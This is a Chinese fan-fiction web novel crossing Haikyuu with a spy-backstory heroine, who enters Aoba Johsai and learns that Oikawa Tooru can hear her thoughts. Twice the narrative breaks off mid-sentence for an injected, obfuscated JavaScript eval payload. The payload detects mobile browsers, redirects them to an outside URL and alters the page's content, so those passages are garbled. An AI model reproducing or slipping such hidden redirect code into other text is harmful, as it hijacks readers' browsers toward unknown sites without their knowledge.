《及川今天也在营业》 1. 第 1 章 清水澪在开学典礼那天就注意到了及川彻。 准确地说，整个青叶城西的高一新生都很难不注意到他。 明明也不是学生会长，却作为某种学校标杆站在体育馆讲台后面。 个子高高的，气质有些活泼，但制服妥帖，领带规整，站在那里就很吸引人。 澪的目光掠过他，又收回来。 说起来这个年纪的男高中生倒是很少系领带，至少青城的学生除了正式场合都不怎么用。 万幸，青城的制服除了水手服还有西服可选。 清水澪不太喜欢穿水手服，和她风格实在不搭。 也幸好学校除了某些场合并不强制穿校服，私立就是这点好。 “……接下来，有请新生代表，一年6班的清水澪同学发言。” 澪听到自己的名字，站起身，顺着过道走向讲台。 经过前排时，那几个刚才还在议论及川的女生压低了声音。 “就是她，年级第一入学的那个。” “好漂亮……” “听说是国中是东京的学校，怎么来宫城了…” 澪目不斜视地走上讲台，与刚刚结束致辞的学生会长点头致意，接过话筒。 发言稿是昨晚现改的，从旧友以前的稿子里删删减减凑出来。 念完最后一句，她微微欠身。 掌声响起。 转身下台时，正与等在台侧的及川彻打了个照面。 对，下一个是他。 按照流程，在学生代表发言之后，是作为三年级的代表致辞。 澪脚步顿了顿，侧身让出讲台的位置。 及川却在擦肩而过时微微倾身，用只有两人能听见的音量说了一句： “讲得很好哦，新生代表さん。” 尾音微微上扬，带着点天然的熟稔。 澪抬眼看他。 男生的笑容恰到好处，眼睛弯成漂亮的弧度，看不出是真心夸奖还是随口一说。 “……谢谢前辈。” 澪点点头，错身走下台阶。 身后，及川已经站上讲台，手自然地搭上话筒架。 “谢谢清水同学的精彩发言。”他顿了顿，语气里带着点轻松的调侃，“压力好大啊，及川大人接下来可怎么办——” 台下响起善意的笑声。 澪回到座位，重新翻开笔记本。 耳边，他的声音继续流淌。 “……这一学年我们……” 斜前方，那几个女生议论起来。 “及川学长真的好帅啊。” “他今年就三年级了吧？” “对…打排球…” 澪垂下眼睛，笔尖在纸面上轻轻点了点。 低下头，继续在笔记本上写着什么。 其实没什么，只是她习惯了把接收到的信息结构化。 “欢迎新入学的各位，”讲台上的声音带着恰到好处的温度，不疾不徐，“从今天起，大家都是青城的一员了。希望各位能在接下来的三年里，找到自己真正热爱的事物。” 男生站在那里，竖起食指wink了一下，“找不到也没关系，热爱及川大人和排球也可以哦……” 澪终于抬起眼睛，看了他一眼。 【“做不到也没关系，kenji酱会帮你的哦～”】 这种即视感，真的是…… 澪垂下眼睛，继续在笔记本上写字。 是那种对目标非常执着还有点幼稚的男生吧。 在笔记本上关键词后顿下一点，澪合上了笔盖。 典礼结束后，新生们被各自班主任带往教室。 一年六班，澪的位置靠窗，正好能看到教学楼后面的操场，几个穿着运动服的身影正在跑步。 “靠窗位欸！漫画主角必坐！” 澪转过头，一个短发女生站在过道里，手里抱着书包，脸上带着笑。 “要坐吗？”澪眨了眨眼。 女生在她旁边的位置坐下来，一边把书包挂到桌侧，一边侧过头看她：“谢谢！我叫佐藤真由美，你呢？” “清水澪。” “清水同学是哪个中学毕业的？” 澪报上学校的名字。 佐藤的眼睛亮了一下：“啊，我知道那所学校！在东京很出名的，特别是你们每年文化祭都会上新闻，我还听说去年你们学校还拿了网球大赛的全国优胜对吧！” “嗯。” “真好，清水的成绩一定很好！”佐藤拖长了音调，“我可是好不容易考到这边来的，好担心能不能跟上青城的进度……” 她絮絮叨叨地说着话，语气自然得像是在和老朋友聊天。 澪听着，偶尔点头，偶尔简短地回应。 说起来她还挺擅长应对这种社牛性格的人来着，大多数时候只要安静地听着，给出情绪价值就好，他们的情商一般很高，并不会在交往上为难你。 除了熟悉以后偶尔会把你当玩具，嘛…不是有那种说法吗？i人是e人的玩具什么的。 她注意到佐藤说话时习惯性地用手指卷着发梢。 下意识开始性格侧写…… 性格不算外向，至少国中不是。 书包上别着三个吧唧，都是同一个人物形象。 所有的用品，书包、笔记本、手表、发绳……都很新。 还有想要交朋友的迫切心态。 啊，是想换个环境改变自己、重新来过的可爱女孩子呢。 “……啊，我是不是说太多了？”佐藤突然停下来，有点不好意思挠头笑，“清水同学看起来好像不太爱说话的样子。” “没有，”澪说，“我只是比较擅长听。” 语速的变化、用词的选择、停顿的长短、眼神的偏移。 这些细节像拼图一样，会拼出一个人此刻真正在想什么、真正想要什么。 在不擅长和外界建立信任关系的那些年，监护人人们就是这样教她的。 【“不想交流也没关系，听就好了，你只要能分辨出善意恶意就可以了。”】 出乎意料的，她这方面还蛮有天赋，不过也少不了监护人君的教导呢。 但在这个世界，澪很少把这些观察说出来。 不太需要。 毕竟这个世界非常正常。 不正常的可能是她这个人吧，尽管能用前世学到的东西飞快融入到日常生活中来，但偶尔的那种格格不入感，还是会有让她想要逃离的感觉。 不说出来的话，那些观察就只是她一个人的事情。 说出来了，对方往往会露出一种微妙的表情，像是被看穿了什么，又像是不知道该往哪里躲。 很奇怪啊，明明以前那个世界的话，大家只会兴奋地问“你难道是侦探吗？好厉害”这种话。 小学六年级的时候，班主任在家长会上对她母亲说：“清水同学很聪明，观察力也很强，但是……” 那个“但是”后面的话，澪已经从太多人嘴里听过了。 但是有时候太敏锐了，会让其他孩子不太舒服。 但是她的发言偶尔会让老师不知道该怎么接。 但是如果能稍微委婉一点就好了。 母亲回家后什么都没说，只是摸了摸澪的头，问她想吃什么晚饭。 澪说想吃咖喱土豆炖牛肉，母亲就做了咖喱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375166|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土豆炖牛肉。 那天晚上，澪躺在床上想，其实母亲也想说点什么的，但她忍住了。 母亲觉得她需要知道，又觉得她不需要从母亲这里知道。 母亲是个温柔的人。 完美符合一个孩子对母亲的想象…… “对了，清水同学想加入什么社团呢？”佐藤的声音把澪拉回现实。 澪想了想：“还没决定。” “我也是——”佐藤叹了口气，“高中的话果然还是想试试新的东西呢，不过运动社团就算了吧……” “那就试试文化社团。”澪没有询问她国中是否是运动社团，从女孩子健康有肌肉的手臂还有指尖上的薄茧能推理得出来，应该是玩某种球类运动的。 “嗯，有道理，清水同学有什么兴趣吗？”佐藤兴致勃勃地问。 澪也不由得跟着想，她的兴趣是什么？ 她其实没什么感兴趣的，上辈子的兴趣爱好培训班过于血腥，肯定不利于发展。 这一世…她也只是跟着他们在网球部里后面混日子，直到确定了某些事，才连告别都没有就离开了东京来到宫城县。 但她倒是蛮喜欢人性的，偶尔也会记录这些东西，好的坏的，人心人性，丑陋的美丽的，大杂烩一般被她丢进笔记本里。 像是女巫在熬魔药，某天又在记忆宫殿里翻出来分析品鉴一番。 但这些说出来，会不会让刚刚认识的人觉得奇怪？ “看书吧，”她最后选了不出错的说法，“可能会加入文学部之类的。” “文学部！听起来很适合清水同学呢！”佐藤完全没有多想，反而兴奋起来，“那我们一起去社团参观吧？下午不是有社团介绍会吗？” “……好。” 午休时间，佐藤拉着她去食堂。 青城的食堂很大，但新生们还没有完全掌握抢占座位的技巧，放眼望去到处都是端着餐盘四处张望的人。 “人好多，”佐藤踮起脚尖张望，“那边好像有空位…啊，被人占了。” 澪的目光扫过食堂，定在一个方向上。 “那边，”她说，“靠窗的长桌，有三个人刚站起来。” 佐藤顺着她的视线看过去：“哪里？我没看到……” 澪已经迈开步子。 佐藤连忙跟上，等她终于看到那三个端着餐盘离开的人时，澪已经在桌边坐下来了。 “好厉害！清水有一双利眼哦。”佐藤一边坐下一边说。 清水澪笑笑，在这个世界，她那些杂七杂八的技能也只能偶尔发挥些奇怪作用了。 不过这样也很好，希望永远也没有用到这些的那一天。 食堂里人声嘈杂，到处都是新生们的笑声和谈话声。 高年级的学长学姐们很少来食堂的样子，估计用不了多久他们这些一年级生也会成为便当大军当中的一员。 澪安静地吃着饭，偶尔回应佐藤的话。 佐藤是个很好的聊天对象，不需要她费心找话题，只需要听着，适时点头，偶尔说一句“是吗”或者“然后呢”，佐藤就能一直说下去。 “……我们学校的排球部一直很强，有机会打进全国大赛的……”佐藤正在说从别人那里听来的八卦，“……主将是三年级的及川学长，就是开学典礼上发言的那个，超帅的那个，清水注意到了吗？” “嗯。” “对吧对吧？我们班好几个女生都在说想去看排球部练习，可惜排球部的训练日好像一直都是谢绝参观来着……” 澪咬了一口炸猪排，味道中等。 “……下午的社团介绍会，我们一起去看看吧？” “好。” 2. 第 2 章 社团介绍会在这天放学后举行。 体育馆里搭起了临时摊位，各个社团的成员们摆出宣传板、分发传单、展示活动成果。 新生们像潮水一样涌进来，在各个摊位前驻足观看。 佐藤拉着澪从头开始逛。 “好厉害……”佐藤不停地感叹，“感觉比国中时专业好多！” 澪点点头。 到底是多了几年的训练，高中生的社团看起来就正式很多。 在吹奏部那里听了一段演奏，她和佐藤接着往前走。 走到中段的时候，人突然变多了。 前面围着一群人，大多是女生，正在往同一个方向张望。 人群里不时传出压低声音的惊叹：“真的吗？”“那我们可就要加入了哦！” “是什么社团这么受欢迎啊？”佐藤好奇地踮起脚尖。 人群的中心是一个摊位，背后挂着一块巨大的宣传板，上面写着“男子排球部”几个大字。 宣传板前站着几个穿着运动服的男生，正在向新生们分发传单。 而被人群围住的那个，是正在和新生说话的三年级生。 及川彻。 那个入学式上的发言人。 他今天穿着排球部的绿白相间运动服，膝盖上戴着黑白护膝。 为什么要选择不成套的黑白呢？清水澪歪了歪脑袋，总不会只是为了耍帅吧。 他正在对一个新生说话，脸上带着笑。 “……如果感兴趣的话，随时可以来体育馆参观哦，”及川说，“排球部可以打兴趣排球，所以就算最后跟不上正选的练习也没关系，只要你对排球感兴趣就可以加入进来。” 男生的声音从人群中传出来，带着恰到好处的热情。 澪站在人群外围，安静地看着。 “及川学长真的好受欢迎哦。”佐藤在旁边小声说。 澪：“也有排球打得好的原因吧。” 人都是慕强的。 及川彻在同龄人里，不仅招女生喜欢，还很受男生欢迎，这是她以前很少遇见的案例。 这可能与他很有亲和力，又有幽默感有关。 她国中那个校园人气王，是全方位的学霸男神，运动天赋也好，身上还有各种标签加持。 虽然也很受欢迎，但却是那种高岭之花。 很强，但性格严肃认真的人根本不会让人产生冒犯的念头。 及川彻把平衡做得非常好。 在宫城县，排球的确很流行。 相比起她国中时期的网球，排球确实要红火多了，这也是她判断佐藤是个渴望重新开始改变自己的女孩子的依据之一。 能去了解不算流行的网球比赛优胜是哪所学校，应该只是为了交友所做的准备，就像是做足了功课等待社交考试的学子。 蛮可爱的。 “是很厉害呢，我一度以为他会去白鸟泽来着。”佐藤语气里有些意外，“他是宫城县最佳二传嘛，白鸟泽还给他递了好多次保送，牛岛前辈满希望和他并肩作战的……” 清水澪看了新朋友一眼，感觉这位少女也知道好多内幕的样子。 她的视线又落在及川身后。 那里站着另一个穿着运动服的刺猬头男生，正在派发传单。 听完及川说的话，好像吐槽了一句“难得你这么靠谱。” “及川大人一直很靠谱好吧，小岩你不要在学弟学妹们面前败坏我的名声！” 人群里是善意的哄笑。 是很好的朋友吧。 澪收回视线，对佐藤说：“我们去下一摊吧。” “诶？不看看排球部吗？” “他们又不招女孩子，女排那边你也没有想去的打算吧。” 佐藤有点遗憾地看了一眼人群，但还是跟着澪离开了，“也是，男排部连经理都是男生呢，其实我以前学过排球，但……最后还是放弃了。” 清水澪安静地听着，“佐藤如果感兴趣高中可以接着打啊。” 佐藤真由美笑着摆手，脸上的笑容像是释怀，“不用啦清，高中生活这么丰富多彩，哈哈我们再去逛逛别的。” 清水澪没有多问，有时候人一开始说出来某件犹豫的事的时候，并不是想要别人帮他拿主意，说出来的时候其实内心就有了选择和答案了。 佐藤国中时期或许真的和排球有不解之缘，但高中的她选择向别的路进发，也是是属于她自己的选择，未尝不可。 她们走向下一个摊位的时候，身后传来一阵小小的骚动。 澪没有回头，但从声音判断，大概是及川又说了什么让周围女生开心的话。 佐藤回过头再次感叹，“不知道他有没有女朋友，完美符合校园漫男主角设定呢……” 澪轻笑，“说不定会幻灭哦。” 佐藤也笑，“是啊，这种人都是只可远观不可亵玩的，找男朋友的话，是不能找排球脑袋的。” 这一天过去得很快，社团介绍会结束后，澪和佐藤在校门口分开。 澪走得很慢。 她喜欢放学后的这段路，人不多，可以慢慢走，慢慢想事情。 到家之前的这段时间独属于澪，独属于她这个存在体。 路口对面的便利店门口站着几个人，穿着青城的运动服，手里拿着一些食物，正嘻嘻哈哈地笑闹着 及川彻站在最外面，手里拿着一瓶运动饮料，在和旁边的人说话。 像是平和日常里的校园剧角色，定点刷新在这里是为了某个剧情点的NPC一样 清水澪难得在心底讲了个冷笑话，幸好不是定点刷新炸弹。 “……所以我就说嘛，那个一年级的发球姿势有问题，需要调整……” “你少管闲事，”岩泉咬了一口宣软的包子，含糊不清地说，“人家才第一天来参观，你就开始挑毛病，很容易打击到学弟的热情。” “及川大人可是在帮忙欸！”及川抗议，“小岩你太冷漠了！！” “是你太热情了。” 澪站在路口对面，看着这一幕。 便利店的白光照在他们身上，把他们的影子拉得很长。 及川说话时手舞足蹈，岩泉吃着包子，偶尔插一句嘴，顺便平A一下，周围排球部的在旁边起哄。 澪看了一会儿，然后继续往前走。 【日本果然盛产幼驯染，无论哪个时空都是。】 嗯？ 及川顿了下，清冽的女声让他有些困惑，视线扫过路口。 “怎么了？”岩泉注意到他的停顿。 “没什么，”及川收回视线，继续喝饮料，“好像看到一个青城的人。” 幻听了吧，隔那么远。 “新生？” “大概吧。” 及川没有多想。 路口那边已经没有人了，只有一个普通的街景，和一盏正在变红的路灯。 开学第二周，澪开始习惯青城的生活节奏。 每天早上七点二十分起床，洗漱、吃早餐、检查书包，步行到学校，八点十分进教室，和已经先到的佐藤打个招呼，然后开始早读。 规律的生活让她安心，有种踏实感。 课程比国中时难了一点，难在怎么能不用超纲知识把题做出来，但还在可以应付的范围内。 午休时间，佐藤拉着她去图书馆。 青城的图书馆很大，藏书也很丰富。 佐藤说要去找一本美术方面的书。 澪便在书架间慢慢走着。 她抽出一本，翻开封底看了看借阅记录。 借过的人不多，上一个借阅者是三年级的学生。 澪把书拿在手里，继续往里走。 图书馆深处有几个靠窗的位置，采光很好，但因为离入口远，似乎没多少人过来。 澪走到那 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但他已经合上了书，正在收拾东西。 他把书和笔记本放进书包，然后站起来，将椅子轻轻推回原位。 他抬起头，正好和澪的目光对上，看了眼她袖口上的浅绿条纹。 “你好？是学妹吧，来看书吗？我是及川彻。” 青城各个年级的校服有微小的不同，及川彻认出来很正常。 澪对他点了点头：“你好，及川前辈，我是清水，清水澪。” 及川彻脸上扬起大大的笑，顺势和她一起朝外走去：“清水学妹午休不用休息吗？刚刚看你一直在那边看书。” 清水澪跟在他身后：“是，不习惯午睡。” 【午睡起来反而会很难受，一整天都别想清醒了。】 及川彻的视线一直没有从她身上移开过，所以这时候非常困惑地歪了歪脑袋。 刚才清水同学说了后面两句话吗？ “那……咳，还真是羡慕呢，我以前一直都是需要午睡的类型，不睡觉的话整个下午训练都总觉得没精神。” 清水澪点头，示意自己有在听。 【是因为要抓紧时间学习西语为出国做准备吗，这位及川前辈高三毕业后可能打算出国？】 及川彻这下是真的有点石化了，结结巴巴试探道：“清水学妹刚才有看到我学西语吗？”然后紧张地盯着清水澪的嘴巴。 清水澪疑惑地看他，不明白他为什么会这么问：“是，有看到。” 【难道是问有没有推荐的书籍吗？波本以前列的书单里好像有几本，名字是什么来着？】 及川彻深吸一口气，捂着脸道：“那……学妹有没有推荐的？我口语还行，但是书面阅读一直有点困难。” 清水澪意外。 【还真问了啊，这位及川学长和研二一样的自来熟呢。】 “额……我以前是看西语版的侦探小说学习的这门语言，及川学长也可以试试。” 被定位为自来熟的及川彻脸有些红。 他这不是顺着她的心里话去说的嘛！！ 他现在的大脑也很乱啊！！！ 论谁有一天能突然听到别人的心里话，大脑都会宕机的吧。 所以那天马路对面的女孩子也是她？ 听到的范围和内容有没有限制啊？ 是只能听见这位学妹的，还是所有人的都可以？ 及川彻现在脑袋一团乱麻。 预备铃声音响起，及川彻松了一口气：“好的，谢谢学妹！快上课了，那我就先走了！” 说完迈着那双大长腿滋溜一下跑远了。 清水澪满脑袋问号，但也没有多想，也快步离开了图书馆。 3. 第 3 章 下午这一节课是体育课。 澪换好运动服，和佐藤一起走向体育馆。 她不擅长运动。 或者说这一世，她是能躺着绝不坐着的类型。 大概是上辈子被那几个人练得太狠，她对一切体力劳动敬谢不敏。 但她还是认真地跑完了三圈。 跑完后，她和佐藤一起坐在操场边的长椅上休息。 佐藤喘得比她厉害，一边喘一边说：“清水……你体力好好啊……” “是佐藤你太缺乏锻炼了，”澪喝了一口矿泉水，指了指前几名，“那才是体力好。” 她两辈子都不在体力好的范围内，这一世没有人管她，现在她的体能也就是普通女高中生水平。 佐藤生无可恋：“我高中一定要好好锻炼！明明只过去了一个假期而已！！” 澪看着她的膝盖，“还是要注意循序渐进，想回复体力的话，可以试试游泳。”这样对膝盖的压力小一点。 佐藤真由美脸上的表情顿了顿，却还是笑着说好。 下课后，澪和她经过另一个体育馆。 男子排球部的人正在这里训练。 每个人的训练菜单似乎不一样，但只有及川彻一个人拿着排球。 澪看着他拿起球，在手里转了两下，然后抛起来，助跑，起跳，挥臂。 球划过一道弧线，砰的一声落入对面场地边线。 及川落地后似乎不太满意，看着那个落点，微微皱了皱眉。 然后他捡起另一个球，重复同样的动作。 抛球，助跑，起跳，挥臂。 又落在边线上。 再捡一个球，再重复。 “排球部的人好认真啊，”佐藤也看着那边，眼睛亮晶晶的，带着某种怀念，“但是排球练习其实特别枯燥。” “嗯……竞技运动应该都差不多吧。” 枯燥的训练，残酷的比赛，吝啬的名额，挥洒的汗与泪，唯一的奖牌。 应该没有热血少年漫里那样青春美好，但澪觉得这群人倒是乐在其中。 佐藤像是有感而发一般，“是啊，竞技运动就是这样的。”接着又问道，“清水对排球感兴趣吗？” “一般。” 佐藤脸上带笑，“我倒是很喜欢排球哦，就算不打了也还是喜欢，不过清水好像对什么都不太感兴趣的样子。” 澪想了想，一本正经道：“也不是，我对‘人’很感兴趣。” “人？”佐藤以为她在开玩笑，“哈哈那四舍五入清水对我也算感兴趣了吧。” 清水澪莞尔，“佐藤很有趣。” 不过她也解释道，“人的行为，人的心理，人为什么会这么做，这些我都挺感兴趣的。” 情报学实战第一课，针对性诱杀。 组织最擅长的，就是捕捉性格画像，量身定制，精准捕杀，而她是老师，恰好是个中好手。 她喜欢看那些光辉灿烂的灵魂沦落到污泥里会有怎样的反应，也喜欢看那些恶臭的、贪婪的、矫饰的人性在黑暗里无限扩张。 或许她仍然没有洗清那对疯狂科学家父母留在自己身上的灵魂印记，就算换了一个世界，她还是那个苟且安生偷渡灵魂的蜜多丽酒。 佐藤歪着头看了她一会儿，然后笑起来：“那清水同学以后会不会当心理学家？” “可能？”清水澪回过神来，她其实没有想好职业规划，虽然她两世的怨种朋友们都致力于把她拐去光伟正的地方，但她还是觉得太不搭调了，所以高中才跑到宫城县来读书，希望给自己一点时间整理好思绪。 “好酷！岂不是以后能学催眠和读心！” 澪被她的反应弄得有点不知道该说什么，无奈笑道：“就算是心理学家也不会读心术的。” 佐藤脸色红红的，咳嗽一声转移话题：“差不多该回教室了。” “好。” 她们离开操场的时候，澪又回头看了一眼。 【还在练习发球啊。】 全部注意力都在那个球上，在那个落点上，在下一次该怎么调整上。 澪收回视线，和佐藤一起走向教学楼。 及川彻等她们走远才松了一口气，停下动作看着门口的方向。 那次图书馆后，他找了好几个偶遇机会去见这位学妹，最后发现他的确是能听见这位学妹心里的声音。 但幸好他似乎只能听到和自己有关的心声，还有学妹说起特定的几个人时的声音，这真的不是什么科幻剧情吗？ 有范围限制和内容限制总算让他松了一口气，没那么大心理负担了。 不过不管是有意还是无意，这种事情对一个女孩子来说还是有点太糟糕了。 被素不相识的男生听到心声什么的…… 及川彻面色奇怪了一瞬，但是…… 【啊…这个三明治没有苏格兰做的好吃。】 【黑咖怎么能不加糖，莱伊真是没品位。】 【佐藤这种社交牛逼症只能研二去招架了吧】 【啧…这个机械表马自达是怎么修的，怎么总是快三十秒，他以后真的能当拆弹警吗？】 波本、莱伊、苏格兰还有偶尔的什么琴酒雪莉酒……这些好像都是酒名吧？ 还有警察什么的，这个学妹家里有人是做警察的吗？ 及川彻捏着排球，心里下定了决心。 * 周一早晨，澪在鞋柜里发现了一张纸条。 准确地说，是一张对折的便签纸，从鞋柜的缝隙里露出来一个小角。 澪打开鞋柜的时候，它轻飘飘地落在地上。 情书？清水澪神色微妙了一瞬。 【“如果是蜜多丽的话，在学校里一定是收不到情书的那种类型呢。” “胡说，我们蜜多丽明明很可爱嘛。莱伊你不能因为她霸占了你女朋友的时间就这么说她。”】 她弯腰捡起来，展开。 【清水学妹，午休时间可以麻烦来一趟排球部活动室吗？有事想请教。——及川彻】 澪看着那张纸条，沉默了两秒，竟然松了一口气。 某种程度上，莱伊也没说错。 虽然这辈子已经收到过很多情书了，但果然还是因为这一身皮囊吧。 这位及川前辈总不会是以前国中那些所谓的一见钟情追求者，已经有点意识到这可能是个排球脑袋的清水澪决定赴约。 午休时间，澪按照纸条上的地址找到排球部活动室。 活动室在教学楼的另一边，靠近体育馆，门口贴着“男子排球部”的牌子。 门虚掩着，里面传出说话声。 “……所以你就这么把人叫过来了？”是岩泉的声音。 “有什么问题吗？”及川的声音理直气壮。 “问题大了，你一个三年级的前辈，突然叫一个一年级学妹过来，人家会怎么想？” “可是我真的有事想问嘛……” “问什么？” “哈哈……”及川干巴巴道，“呃……关于学习的事？” 岩泉沉默了两秒，然后澪听到一声闷响，像是有人被捶了一拳。 “你当我是白痴吗？三年级的问人家一年级学习的事？” “痛！小岩你好暴力！怎么就不能问啦？！那可是一年级的首席！万一她就是连三年级的也会呢？！” 澪在门口站了两秒，然后抬手敲了敲门。 里面的声音戛然而止。 “请进！”及川的声音瞬间切换成一本正经的模式。 澪推开门。 活动室不大，靠墙放着一排柜子，中间是一张长桌，几把椅子，看样子应该是排球部平时开会的地方。 及川彻坐在桌边，面前摊着一本笔记本。 岩泉一站在他旁边，表情有点微妙。 “打扰了。”澪站在门口。 “没有没有！”及川立刻站起来，露出标志性的笑容，“清水学妹来了，快请坐！” 澪走进来，在及川对面的椅子上坐下。 岩泉看了及川一眼，然后对澪点了点头：“咳…那你们聊，我先去体育馆。” 他离开的时候，顺手把门带上了。 活动室里只剩下澪和及川两个人。 及川的笑容在门关上的一瞬间变得有点僵硬。 澪看着他，没有说话。 所以，这是有什么事吗？ 及川的嘴角抽了抽。 他深吸一口气，决定开门见山：“清水学妹，我接下来要说的事可能有点……奇怪，但请你先听我说完。” 澪点头。 及川斟酌了一下措辞：“上周二，图书馆，你记得吧？” “记得。” “那天你说了一些话，”及川说，“一些……你没有说出口的话。” 澪的眼神疑惑。 及川深吸一口气，“你在心里说，‘按照刻板印象，运动社团的王牌应该是放学后泡在体育馆里，而不是午休时窝在图书馆里学习。’还推测我‘要抓紧时间学习西语为出国做准备’之类的对吧？” 澪的表情没有变化，但她的手指在桌下轻轻蜷缩了一下。 啊…有点尴尬。 “我能听到，”及川彻脸色也有些尴尬，“你的……心里话。” 澪沉默了几秒。 【真的假的？】 “真的，”及川诚实地回答，“现在也能。” 澪： 【………】 及川摸了摸鼻子：“那个，总之就是这样。” 澪看着他，表情复杂。 “但如果你不刻意去想的话好像就听不到了，偶尔也会失灵，”及川又解释道，“所以我找你是想和你说一下范围……” 他越说越心虚，声音越来越小。 澪继续看着他。 “从什么时候开始的？” “开学典礼，”及川老实交代，“你离我也不远，说了句‘是对目标非常执着还有点幼稚的那种男生’对吧？” 澪的表情终于出现了一丝波动。 “……那天我没有说出口吧？” “没有。”及川彻也有点尴尬，“所以还以为是自己幻听了。” 她花了几秒钟消化这个信息。 然后冷静了下来，尽量用正常的语速、正常的音量说：“所以，及川前辈今天找我来，是想告诉我这件事？” “是，”及川点头，“我觉得你应该知道。” “为什么？”清水澪是真的有点困惑。 【一般这种事，很多人求之不得吧。】 “因为……”及川想了想，“如果是我的话，我会想知道。而且这有点冒犯到你。” 澪看着他，尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375168|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量放空心神不去想些什么。 【这要是再被听到一些……那就太社死了。】 “有没有范围？是我所有的想法前辈都能听到吗？” 及川彻假装镇定，连忙摆手：“没有没有，我能听到的内容好像有限制。只有和我自己有关的，或者你说起特定的人的时候才能听到，范围的话，好像就是十米范围内，好像是这样。” 澪比较在意的是：“特定的人？” “比如波本苏格兰之类的酒名，应该是你朋友的外号吧哈哈……”及川彻挠了挠脑袋，“还有警察、卧底什么的，是在说电影吗？” 澪的表情终于变了。 她看着及川，目光变得复杂起来，心绪复杂。 【他听到了多少？这个世界没有…】 澪的思绪一窒，尽量放空，盯着及川彻转移注意力。 “不多的，”及川连忙说，对澪有些压迫的眼神有些无措。 “就某些零碎的话……别的没有了，也没有具体的什么事情，就是一些你的吐槽。刚开始以为是电影，后来还以为你在构思小说呢哈哈哈，学妹的精神世界相当丰富哦。” 男生打趣缓和气氛，莞尔笑道，“所以学妹以后不想被我听到的话，在我附近十米范围内的时候克制一下就好了，及川学长可是很讲道理的。” 澪沉默了很久，然后深吸一口气：“是的，我在构思小说来着，谢谢学长告诉我这件事了。” 及川的嘴角微微上扬：“没什么好谢的，我就是觉得你应该知道，至于别的……反正你平时想的也都是些很正常的事，偶尔吐槽一下及川大人什么的，我也不是很在意啦。”他尽力不让少女太过紧张，本来这种事就足够尴尬羞耻了。 【什么时候吐槽他了？还有我心里想起过他很多次吗？】 “开学典礼的时候，”及川好心提醒，“还有图书馆的时候，还有便利店门口的时候，还有——” “好了好了是我不对。”澪打断他，伸手捂住脸。 及川乖乖闭嘴，看着少女泛红的耳尖，好笑道：“真的没什么的，学妹不必担心，应该只有我一个人能听到。” 清水澪深吸一口气：“那样再好不过了，不过学长不用困扰，我会一些小技巧集中注意力，以后应该不会打扰到学长的，今天真是多谢了。” 及川失笑：“是我要谢你没有怪我才是，好啦，我也要去训练了，需要给你一点时间在这里平复心情吗？你可以留在活动室待一会。” 清水澪深吸一口气，摇摇头，“没关系，我也要离开了。” 及川彻点头，和她一起离开活动室，“那我就去训练了，学妹。” “好，今天多谢学长了。” “哈哈别谢来谢去了，拜拜。” 清水澪走进教室。 “怎么样怎么样？”佐藤立刻凑过来，“你去之前还和我说半个小时不回来就去找人喊你呢，这才20分钟不到，及川学长找你什么事？”她八卦道，“是不是告白啊？听说及川学长现在都还没有恋爱过哦。” 澪坐下来，冷静考片刻，决定转移话题，“问学习的事。” 佐藤瞪大眼睛：“哈？” “他想提高西语阅读，问我有没有推荐的书。” 佐藤的表情变得很复杂：“……就这？” “就这。” 佐藤盯着她看了好一会儿，然后叹了口气：“清水，你真的好浪费机会啊。” 澪不解：“什么机会？” “趁机拿下帅哥的机会啊，”佐藤振振有词，“你们一个年级首席，一个青城代言人，超级般配的哦，嘿嘿入学式那天我还嗑过你俩来着。” 清水澪无言：“我和他没有什么交集吧，这是怎么嗑起来的？”而且现在他们这种关系，连见面都感到很尴尬了。 读心术什么的，就算是穿越福利，也应该是给她，而不是给别人啊…… 澪真的很想吐槽，真的不是穿越大神送快递送错了吗？ 也幸好这对她来说只是个小小的麻烦，连组织自白剂都能过得去，对于他们这种人来说，转移注意或者掩盖内心早就成了本能。 果然还是她在这个和平世界呆久了，太过松懈了！ 如果有读心术这种超能力的话，她以后是不是还会遇见其它类型，这让她有些担忧。 佐藤还在一边痛心疾首：“清水你对自己的魅力一无所知啊！我们青城的校草校花欸，脸就摆在那里，你俩的脸就够CP粉产粮了，我在校内论坛看过好多你俩的粮！”说着兴致勃勃打开手机给清水澪分享，“你回去慢慢看，老好嗑了。” 澪不是很懂JK们的脑回路。 按理说就算是绯闻也要接触过才有得传吧，她和及川彻？ 这群人真的没搞错吗？ 佐藤真由美叹息着：“好吧，我同桌的恋心还在任重道远呢……” 下午的课结束后，澪和佐藤一起走出教学楼。 经过操场的时候，她看到排球部的人正在跑步。 及川彻跑在最前面，身后跟着一群一年级的新生。 他跑过澪身边的时候，朝她挥了挥手，整个人活力满满。 “清水学妹，明天见！” 澪看着他跑远的背影，没有说话。 佐藤在旁边笑道：“哇哦……” 澪无奈：“好啦，走吧。” 4. 第 4 章 次日，图书馆A201区，一个戴着眼镜的三年级女生正在介绍社团的活动内容。 “……我们每个月会选定一个主题，大家围绕主题写一些东西，然后在部会上分享，有时候也会一起读一本书，然后讨论……” 澪听着介绍，目光扫过书架上的书。 大部分是小说，也有一些诗集和评论集。 她看到一本《人间失格》的旧版，书脊已经有点磨损了。 介绍结束后，部长让大家随便看看，有问题可以问。 澪在书架前慢慢走着，抽出一本书翻看。 “你对太宰治感兴趣吗？” 澪转过头，一个一年级的男生站在旁边，手里也拿着一本书，他戴着一副眼镜，表情有点紧张。 